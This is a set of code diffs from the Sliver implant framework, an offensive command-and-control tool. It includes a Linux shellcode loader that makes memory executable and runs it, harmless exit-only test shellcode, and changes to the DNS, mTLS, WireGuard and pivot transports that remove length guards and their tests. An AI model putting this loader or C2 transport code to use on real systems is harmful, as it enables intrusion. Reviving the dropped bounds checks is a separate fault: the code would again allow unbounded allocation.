// funcPtr trick from hershell (https://github.com/lesnuages/hershell)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
localTaskBeforeFork()
// SYS_CLONE(SIGCHLD) = fork(). linux/arm64 has no SYS_FORK.
pid, _, errno := syscall.RawSyscall6(syscall.SYS_CLONE, uintptr(syscall.SIGCHLD), 0, 0, 0, 0, 0)
if errno != 0 {
localTaskAfterFork()
runtime.UnlockOSThread()
return errno
}
if pid == 0 {
localTaskAfterForkInChild()
for fd := uintptr(3); fd < 1024; fd++ {
syscall.RawSyscall(syscall.SYS_CLOSE, fd, 0, 0)
}
syscall.RawSyscall(syscall.SYS_MPROTECT, pageAddr, pageLen, uintptr(syscall.PROT_READ|syscall.PROT_EXEC))
funcPtr()
for {
syscall.RawSyscall(syscall.SYS_EXIT_GROUP, 0, 0, 0)
}
}
localTaskAfterFork()
var ws syscall.WaitStatus
_, err := syscall.Wait4(int(pid), &ws, 0, nil)
runtime.UnlockOSThread()
if err != nil {
return err
}
if ws.Signaled() {
return fmt.Errorf("shellcode child killed by signal %v", ws.Signal())
}
if ws.ExitStatus() != 0 {
return fmt.Errorf("shellcode child exited %d", ws.ExitStatus())
}
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
return nil
}
@@ -1,87 +0,0 @@
//go:build linux
package taskrunner
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"os"
"os/exec"
"runtime"
"testing"
"time"
)
const localTaskHelperEnv = "SLIVER_LOCALTASK_HELPER"
const localTaskSentinel = "PARENT_ALIVE_AFTER_LOCALTASK"
// linux/amd64: xor eax,eax ; xor edi,edi ; mov al,0x3c ; syscall — exit(0)
var exitShellcodeAmd64 = []byte{0x31, 0xc0, 0x31, 0xff, 0xb0, 0x3c, 0x0f, 0x05}
// linux/amd64: xor eax,eax ; mov al,0x3c ; mov edi,42 ; syscall — exit(42)
var exit42ShellcodeAmd64 = []byte{0x31, 0xc0, 0xb0, 0x3c, 0xbf, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05}
func TestMain(m *testing.M) {
switch os.Getenv(localTaskHelperEnv) {
case "exit0":
_ = LocalTask(exitShellcodeAmd64, false)
time.Sleep(500 * time.Millisecond)
fmt.Println(localTaskSentinel)
os.Exit(0)
case "exit42":
err := LocalTask(exit42ShellcodeAmd64, false)
if err != nil {
fmt.Printf("LOCALTASK_ERR=%s\n", err.Error())
} else {
fmt.Println("LOCALTASK_ERR=<nil>")
}
os.Exit(0)
}
os.Exit(m.Run())
}
func runHelper(t *testing.T, mode string) []byte {
t.Helper()
if runtime.GOARCH != "amd64" {
t.Skipf("exit shellcode is amd64-specific; GOARCH=%s", runtime.GOARCH)
}
cmd := exec.Command(os.Args[0])
cmd.Env = append(os.Environ(), localTaskHelperEnv+"="+mode)
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("helper subprocess (%s) exited abnormally: %v\noutput: %s", mode, err, out)
}
return out
}
func TestLocalTask_ParentSurvives(t *testing.T) {
out := runHelper(t, "exit0")
if !bytes.Contains(out, []byte(localTaskSentinel)) {
t.Fatalf("expected sentinel %q in helper output:\n%s", localTaskSentinel, out)
}
}
func TestLocalTask_ReportsChildFailure(t *testing.T) {
out := runHelper(t, "exit42")
if !bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child exited 42")) {
t.Fatalf("expected exit-42 error in helper output:\n%s", out)
}
}
@@ -709,9 +709,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
// SplitBuffer - There's probably a fancy way to calculate this with math and shit but it's much easier to just encode bytes
// and check the length until we hit the limit
func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.Encoder, data []byte) ([]string, error) {
if msg == nil {
return nil, ErrInvalidMsg
}
subdata := []string{}
start := 0
stop := start
@@ -746,34 +743,14 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
// log.Printf("[dns] shave data [%d:%d] of %d", start, stop, len(data))
// {{end}}
msg.Data = data[start:stop]
var err error
encoded, err = encodeDNSMessage(msg, encoder)
if err != nil {
return nil, err
}
pbMsg, _ := proto.Marshal(msg)
encodedValue, _ := encoder.Encode(pbMsg)
encoded = string(encodedValue)
// {{if .Config.Debug}}
// log.Printf("[dns] encoded length is %d (max: %d)", len(encoded), s.subdataSpace)
// {{end}}
}
// Step back if a protobuf varint boundary caused encoded to overshoot.
// Adding 1 byte across a varint boundary (e.g. Data length 127 to 128) grows
// the proto by 2 bytes, which can jump base32 by +3 or +4, exceeding the
// subdataSpace-1 guard above.
for s.subdataSpace < len(encoded) && stop > start {
stop--
msg.Data = data[start:stop]
var err error
encoded, err = encodeDNSMessage(msg, encoder)
if err != nil {
return nil, err
}
}
if stop <= start {
return nil, errMsgTooLong
}
lastLen = len(msg.Data) // Save the amount of data that fit for the next loop
// {{if .Config.Debug}}
encodedSubdata = append(encodedSubdata, encoded)
// {{end}}
@@ -812,18 +789,6 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func encodeDNSMessage(msg *dnspb.DNSMessage, encoder encoders.Encoder) (string, error) {
pbMsg, err := proto.Marshal(msg)
if err != nil {
return "", err
}
encoded, err := encoder.Encode(pbMsg)
if err != nil {
return "", err
}
return string(encoded), nil
}
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
@@ -21,7 +21,6 @@ package dnsclient
import (
"bytes"
"crypto/rand"
"errors"
"fmt"
"log"
insecureRand "math/rand"
@@ -35,18 +34,6 @@ import (
"google.golang.org/protobuf/proto"
)
type errorEncoder struct {
err error
}
func (e errorEncoder) Encode([]byte) ([]byte, error) {
return nil, e.err
}
func (e errorEncoder) Decode([]byte) ([]byte, error) {
return nil, e.err
}
const (
// Do not change these without updating the tests
parent1 = ".1.example.com."
@@ -150,40 +137,6 @@ func TestSplitBufferBase32(t *testing.T) {
}
}
func TestSplitBufferVarintBoundary(t *testing.T) {
// At this parent length, growing msg.Data from 127 to 128 bytes makes the
// encoded protobuf jump from 215 to 218 bytes while only 217 bytes fit.
// SplitBuffer must step back before joining the encoded data to the parent.
parent := fmt.Sprintf(".%s.example.com.", strings.Repeat("x", 19))
client := NewDNSClient(parent, opts)
if client.subdataSpace != 217 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parent, client.subdataSpace)
}
clientSplitBuffer(t, client, encoders.Base32{}, randomData(256))
}
func TestSplitBufferErrors(t *testing.T) {
client := NewDNSClient(parent1, opts)
if _, err := client.SplitBuffer(nil, encoders.Base32{}, []byte{1}); !errors.Is(err, ErrInvalidMsg) {
t.Fatalf("Expected %s, got %v", ErrInvalidMsg, err)
}
encodeErr := errors.New("encode failed")
msg := &dnspb.DNSMessage{Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT, Size: 1}
if _, err := client.SplitBuffer(msg, errorEncoder{err: encodeErr}, []byte{1}); !errors.Is(err, encodeErr) {
t.Fatalf("Expected %s, got %v", encodeErr, err)
}
// Leave one encoded byte of space so no non-empty protobuf can fit.
client = NewDNSClient("."+strings.Repeat("a", 250)+".", opts)
if client.subdataSpace != 1 {
t.Fatalf("Unexpected subdata space: %d", client.subdataSpace)
}
if _, err := client.SplitBuffer(msg, encoders.Base32{}, []byte{1}); !errors.Is(err, errMsgTooLong) {
t.Fatalf("Expected %s, got %v", errMsgTooLong, err)
}
}
func TestSplitBufferDomainConstraints(t *testing.T) {
client := NewDNSClient(parent1, opts)
testData := randomData(8192)
@@ -1,7 +1,6 @@
//go:build !windows
// Package wininet provides the Windows WinINet HTTP transport.
package wininet
package http
import "errors"
@@ -62,9 +62,6 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
TLSClientConfig: tlsConfig,
}
}
transport.ProxyConnectHeader = http.Header{
"User-Agent": []string{userAgent},
}
client := &http.Client{
Jar: cookieJar(),
Timeout: opts.NetTimeout,
+1 -12
View File
@@ -62,10 +62,6 @@ var (
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
const maxEnvelopeLength = 512 * 1024 * 1024
var errEnvelopeTooLarge = errors.New("[mtls] envelope exceeds maximum length")
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
@@ -211,18 +207,11 @@ func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[mtls] read error: %s\n", err)
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
if dataLength > maxEnvelopeLength {
// {{if .Config.Debug}}
log.Printf("[mtls] read error: envelope length %d exceeds max %d\n", dataLength, maxEnvelopeLength)
// {{end}}
return nil, errEnvelopeTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(r, dataBuf)
@@ -1,61 +0,0 @@
package mtls
import (
"bytes"
"encoding/binary"
"errors"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
)
func rawSigStub() []byte {
return make([]byte, cryptography.RawSigSize)
}
func lengthPrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readEnvelopeWithTimeout(t *testing.T, buf *bytes.Reader) error {
t.Helper()
ch := make(chan error, 1)
go func() {
_, err := ReadEnvelope(buf)
ch <- err
}()
select {
case err := <-ch:
return err
case <-time.After(3 * time.Second):
t.Fatal("ReadEnvelope did not return in time (possible unbounded allocation)")
return nil
}
}
func TestReadEnvelopeRejectsOversizedFrame(t *testing.T) {
var frame []byte
frame = append(frame, rawSigStub()...)
frame = append(frame, lengthPrefix(uint32(maxEnvelopeLength)+1)...)
buf := bytes.NewReader(frame)
err := readEnvelopeWithTimeout(t, buf)
if !errors.Is(err, errEnvelopeTooLarge) {
t.Fatalf("expected errEnvelopeTooLarge, got %v", err)
}
}
func TestReadEnvelopeRejectsZeroLength(t *testing.T) {
var frame []byte
frame = append(frame, rawSigStub()...)
frame = append(frame, lengthPrefix(0)...)
buf := bytes.NewReader(frame)
err := readEnvelopeWithTimeout(t, buf)
if err == nil {
t.Fatal("expected error for zero-length envelope")
}
}
@@ -247,13 +247,6 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
return nil, errors.New("[pivot] zero data length")
}
if dataLength > pivots.MaxFrameLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: frame length %d exceeds max %d\n", dataLength, pivots.MaxFrameLength)
// {{end}}
return nil, pivots.ErrFrameTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
@@ -1,96 +0,0 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"errors"
"net"
"sync"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/pivots"
)
func framePrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readWithTimeout(t *testing.T, read func() ([]byte, error)) ([]byte, error) {
t.Helper()
type result struct {
data []byte
err error
}
ch := make(chan result, 1)
go func() {
d, e := read()
ch <- result{d, e}
}()
select {
case r := <-ch:
return r.data, r.err
case <-time.After(3 * time.Second):
t.Fatal("read() did not return in time (possible unbounded read)")
return nil, nil
}
}
// A corrupted/desynced length prefix must be rejected before allocating rather
// than triggering a multi-GB allocation that crashes the implant.
func TestNetConnPivotClientReadRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivotClient{conn: server, readMutex: &sync.Mutex{}}
go func() {
_, _ = client.Write(framePrefix(uint32(pivots.MaxFrameLength) + 1))
}()
if _, err := readWithTimeout(t, p.read); !errors.Is(err, pivots.ErrFrameTooLarge) {
t.Fatalf("expected pivots.ErrFrameTooLarge, got %v", err)
}
}
func TestNetConnPivotClientReadAcceptsValidFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivotClient{conn: server, readMutex: &sync.Mutex{}}
payload := []byte("hello pivot client")
go func() {
_, _ = client.Write(framePrefix(uint32(len(payload))))
_, _ = client.Write(payload)
}()
data, err := readWithTimeout(t, p.read)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if string(data) != string(payload) {
t.Fatalf("got %q, want %q", data, payload)
}
}
@@ -1,72 +0,0 @@
//go:build windows || darwin || linux
// Package wireguard implements the WireGuard transport for Sliver implants.
package wireguard
import (
"encoding/binary"
"errors"
"net"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
)
func rawSigStub() []byte {
return make([]byte, cryptography.RawSigSize)
}
func lengthPrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readEnvelopeWithTimeout(t *testing.T, conn net.Conn) error {
t.Helper()
ch := make(chan error, 1)
go func() {
_, err := ReadEnvelope(conn)
ch <- err
}()
select {
case err := <-ch:
return err
case <-time.After(3 * time.Second):
t.Fatal("ReadEnvelope did not return in time (possible unbounded allocation)")
return nil
}
}
func TestReadEnvelopeRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
go func() {
_, _ = client.Write(rawSigStub())
_, _ = client.Write(lengthPrefix(uint32(maxEnvelopeLength) + 1))
}()
err := readEnvelopeWithTimeout(t, server)
if !errors.Is(err, errEnvelopeTooLarge) {
t.Fatalf("expected errEnvelopeTooLarge, got %v", err)
}
}
func TestReadEnvelopeRejectsZeroLength(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
go func() {
_, _ = client.Write(rawSigStub())
_, _ = client.Write(lengthPrefix(0))
}()
err := readEnvelopeWithTimeout(t, server)
if err == nil {
t.Fatal("expected error for zero-length envelope")
}
}
@@ -76,10 +76,6 @@ var (
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
const maxEnvelopeLength = 512 * 1024 * 1024
var errEnvelopeTooLarge = errors.New("[wireguard] envelope exceeds maximum length")
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
@@ -204,18 +200,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[wireguard] read error: %s\n", err)
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if dataLength > maxEnvelopeLength {
// {{if .Config.Debug}}
log.Printf("[wireguard] read error: envelope length %d exceeds max %d\n", dataLength, maxEnvelopeLength)
// {{end}}
return nil, errEnvelopeTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
+32 -32
View File
@@ -82,7 +82,7 @@ func adjustTokenPrivileges(token windows.Token, releaseAll bool, input *byte, ou
if releaseAll {
_p0 = 1
}
r0, _, e1 := syscall.SyscallN(procAdjustTokenPrivileges.Addr(), uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
r0, _, e1 := syscall.Syscall6(procAdjustTokenPrivileges.Addr(), 6, uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
success = r0 != 0
if true {
err = errnoErr(e1)
@@ -91,7 +91,7 @@ func adjustTokenPrivileges(token windows.Token, releaseAll bool, input *byte, ou
}
func convertSecurityDescriptorToStringSecurityDescriptor(sd *byte, revision uint32, secInfo uint32, sddl **uint16, sddlSize *uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procConvertSecurityDescriptorToStringSecurityDescriptorW.Addr(), uintptr(unsafe.Pointer(sd)), uintptr(revision), uintptr(secInfo), uintptr(unsafe.Pointer(sddl)), uintptr(unsafe.Pointer(sddlSize)))
r1, _, e1 := syscall.Syscall6(procConvertSecurityDescriptorToStringSecurityDescriptorW.Addr(), 5, uintptr(unsafe.Pointer(sd)), uintptr(revision), uintptr(secInfo), uintptr(unsafe.Pointer(sddl)), uintptr(unsafe.Pointer(sddlSize)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -99,7 +99,7 @@ func convertSecurityDescriptorToStringSecurityDescriptor(sd *byte, revision uint
}
func convertSidToStringSid(sid *byte, str **uint16) (err error) {
r1, _, e1 := syscall.SyscallN(procConvertSidToStringSidW.Addr(), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(str)))
r1, _, e1 := syscall.Syscall(procConvertSidToStringSidW.Addr(), 2, uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(str)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -116,7 +116,7 @@ func convertStringSecurityDescriptorToSecurityDescriptor(str string, revision ui
}
func _convertStringSecurityDescriptorToSecurityDescriptor(str *uint16, revision uint32, sd *uintptr, size *uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(), uintptr(unsafe.Pointer(str)), uintptr(revision), uintptr(unsafe.Pointer(sd)), uintptr(unsafe.Pointer(size)))
r1, _, e1 := syscall.Syscall6(procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(), 4, uintptr(unsafe.Pointer(str)), uintptr(revision), uintptr(unsafe.Pointer(sd)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -124,13 +124,13 @@ func _convertStringSecurityDescriptorToSecurityDescriptor(str *uint16, revision
}
func getSecurityDescriptorLength(sd uintptr) (len uint32) {
r0, _, _ := syscall.SyscallN(procGetSecurityDescriptorLength.Addr(), uintptr(sd))
r0, _, _ := syscall.Syscall(procGetSecurityDescriptorLength.Addr(), 1, uintptr(sd), 0, 0)
len = uint32(r0)
return
}
func impersonateSelf(level uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procImpersonateSelf.Addr(), uintptr(level))
r1, _, e1 := syscall.Syscall(procImpersonateSelf.Addr(), 1, uintptr(level), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -147,7 +147,7 @@ func lookupAccountName(systemName *uint16, accountName string, sid *byte, sidSiz
}
func _lookupAccountName(systemName *uint16, accountName *uint16, sid *byte, sidSize *uint32, refDomain *uint16, refDomainSize *uint32, sidNameUse *uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procLookupAccountNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(accountName)), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(sidSize)), uintptr(unsafe.Pointer(refDomain)), uintptr(unsafe.Pointer(refDomainSize)), uintptr(unsafe.Pointer(sidNameUse)))
r1, _, e1 := syscall.Syscall9(procLookupAccountNameW.Addr(), 7, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(accountName)), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(sidSize)), uintptr(unsafe.Pointer(refDomain)), uintptr(unsafe.Pointer(refDomainSize)), uintptr(unsafe.Pointer(sidNameUse)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -164,7 +164,7 @@ func lookupPrivilegeDisplayName(systemName string, name *uint16, buffer *uint16,
}
func _lookupPrivilegeDisplayName(systemName *uint16, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeDisplayNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)))
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -181,7 +181,7 @@ func lookupPrivilegeName(systemName string, luid *uint64, buffer *uint16, size *
}
func _lookupPrivilegeName(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)))
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -203,7 +203,7 @@ func lookupPrivilegeValue(systemName string, name string, luid *uint64) (err err
}
func _lookupPrivilegeValue(systemName *uint16, name *uint16, luid *uint64) (err error) {
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeValueW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
r1, _, e1 := syscall.Syscall(procLookupPrivilegeValueW.Addr(), 3, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -215,7 +215,7 @@ func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool,
if openAsSelf {
_p0 = 1
}
r1, _, e1 := syscall.SyscallN(procOpenThreadToken.Addr(), uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)))
r1, _, e1 := syscall.Syscall6(procOpenThreadToken.Addr(), 4, uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -223,7 +223,7 @@ func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool,
}
func revertToSelf() (err error) {
r1, _, e1 := syscall.SyscallN(procRevertToSelf.Addr())
r1, _, e1 := syscall.Syscall(procRevertToSelf.Addr(), 0, 0, 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -243,7 +243,7 @@ func backupRead(h syscall.Handle, b []byte, bytesRead *uint32, abort bool, proce
if processSecurity {
_p2 = 1
}
r1, _, e1 := syscall.SyscallN(procBackupRead.Addr(), uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesRead)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)))
r1, _, e1 := syscall.Syscall9(procBackupRead.Addr(), 7, uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesRead)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -263,7 +263,7 @@ func backupWrite(h syscall.Handle, b []byte, bytesWritten *uint32, abort bool, p
if processSecurity {
_p2 = 1
}
r1, _, e1 := syscall.SyscallN(procBackupWrite.Addr(), uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesWritten)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)))
r1, _, e1 := syscall.Syscall9(procBackupWrite.Addr(), 7, uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesWritten)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -271,7 +271,7 @@ func backupWrite(h syscall.Handle, b []byte, bytesWritten *uint32, abort bool, p
}
func cancelIoEx(file syscall.Handle, o *syscall.Overlapped) (err error) {
r1, _, e1 := syscall.SyscallN(procCancelIoEx.Addr(), uintptr(file), uintptr(unsafe.Pointer(o)))
r1, _, e1 := syscall.Syscall(procCancelIoEx.Addr(), 2, uintptr(file), uintptr(unsafe.Pointer(o)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -279,7 +279,7 @@ func cancelIoEx(file syscall.Handle, o *syscall.Overlapped) (err error) {
}
func connectNamedPipe(pipe syscall.Handle, o *syscall.Overlapped) (err error) {
r1, _, e1 := syscall.SyscallN(procConnectNamedPipe.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(o)))
r1, _, e1 := syscall.Syscall(procConnectNamedPipe.Addr(), 2, uintptr(pipe), uintptr(unsafe.Pointer(o)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -296,7 +296,7 @@ func createFile(name string, access uint32, mode uint32, sa *syscall.SecurityAtt
}
func _createFile(name *uint16, access uint32, mode uint32, sa *syscall.SecurityAttributes, createmode uint32, attrs uint32, templatefile syscall.Handle) (handle syscall.Handle, err error) {
r0, _, e1 := syscall.SyscallN(procCreateFileW.Addr(), uintptr(unsafe.Pointer(name)), uintptr(access), uintptr(mode), uintptr(unsafe.Pointer(sa)), uintptr(createmode), uintptr(attrs), uintptr(templatefile))
r0, _, e1 := syscall.Syscall9(procCreateFileW.Addr(), 7, uintptr(unsafe.Pointer(name)), uintptr(access), uintptr(mode), uintptr(unsafe.Pointer(sa)), uintptr(createmode), uintptr(attrs), uintptr(templatefile), 0, 0)
handle = syscall.Handle(r0)
if handle == syscall.InvalidHandle {
err = errnoErr(e1)
@@ -305,7 +305,7 @@ func _createFile(name *uint16, access uint32, mode uint32, sa *syscall.SecurityA
}
func createIoCompletionPort(file syscall.Handle, port syscall.Handle, key uintptr, threadCount uint32) (newport syscall.Handle, err error) {
r0, _, e1 := syscall.SyscallN(procCreateIoCompletionPort.Addr(), uintptr(file), uintptr(port), uintptr(key), uintptr(threadCount))
r0, _, e1 := syscall.Syscall6(procCreateIoCompletionPort.Addr(), 4, uintptr(file), uintptr(port), uintptr(key), uintptr(threadCount), 0, 0)
newport = syscall.Handle(r0)
if newport == 0 {
err = errnoErr(e1)
@@ -323,7 +323,7 @@ func createNamedPipe(name string, flags uint32, pipeMode uint32, maxInstances ui
}
func _createNamedPipe(name *uint16, flags uint32, pipeMode uint32, maxInstances uint32, outSize uint32, inSize uint32, defaultTimeout uint32, sa *syscall.SecurityAttributes) (handle syscall.Handle, err error) {
r0, _, e1 := syscall.SyscallN(procCreateNamedPipeW.Addr(), uintptr(unsafe.Pointer(name)), uintptr(flags), uintptr(pipeMode), uintptr(maxInstances), uintptr(outSize), uintptr(inSize), uintptr(defaultTimeout), uintptr(unsafe.Pointer(sa)))
r0, _, e1 := syscall.Syscall9(procCreateNamedPipeW.Addr(), 8, uintptr(unsafe.Pointer(name)), uintptr(flags), uintptr(pipeMode), uintptr(maxInstances), uintptr(outSize), uintptr(inSize), uintptr(defaultTimeout), uintptr(unsafe.Pointer(sa)), 0)
handle = syscall.Handle(r0)
if handle == syscall.InvalidHandle {
err = errnoErr(e1)
@@ -332,13 +332,13 @@ func _createNamedPipe(name *uint16, flags uint32, pipeMode uint32, maxInstances
}
func getCurrentThread() (h syscall.Handle) {
r0, _, _ := syscall.SyscallN(procGetCurrentThread.Addr())
r0, _, _ := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
h = syscall.Handle(r0)
return
}
func getNamedPipeHandleState(pipe syscall.Handle, state *uint32, curInstances *uint32, maxCollectionCount *uint32, collectDataTimeout *uint32, userName *uint16, maxUserNameSize uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procGetNamedPipeHandleStateW.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(state)), uintptr(unsafe.Pointer(curInstances)), uintptr(unsafe.Pointer(maxCollectionCount)), uintptr(unsafe.Pointer(collectDataTimeout)), uintptr(unsafe.Pointer(userName)), uintptr(maxUserNameSize))
r1, _, e1 := syscall.Syscall9(procGetNamedPipeHandleStateW.Addr(), 7, uintptr(pipe), uintptr(unsafe.Pointer(state)), uintptr(unsafe.Pointer(curInstances)), uintptr(unsafe.Pointer(maxCollectionCount)), uintptr(unsafe.Pointer(collectDataTimeout)), uintptr(unsafe.Pointer(userName)), uintptr(maxUserNameSize), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -346,7 +346,7 @@ func getNamedPipeHandleState(pipe syscall.Handle, state *uint32, curInstances *u
}
func getNamedPipeInfo(pipe syscall.Handle, flags *uint32, outSize *uint32, inSize *uint32, maxInstances *uint32) (err error) {
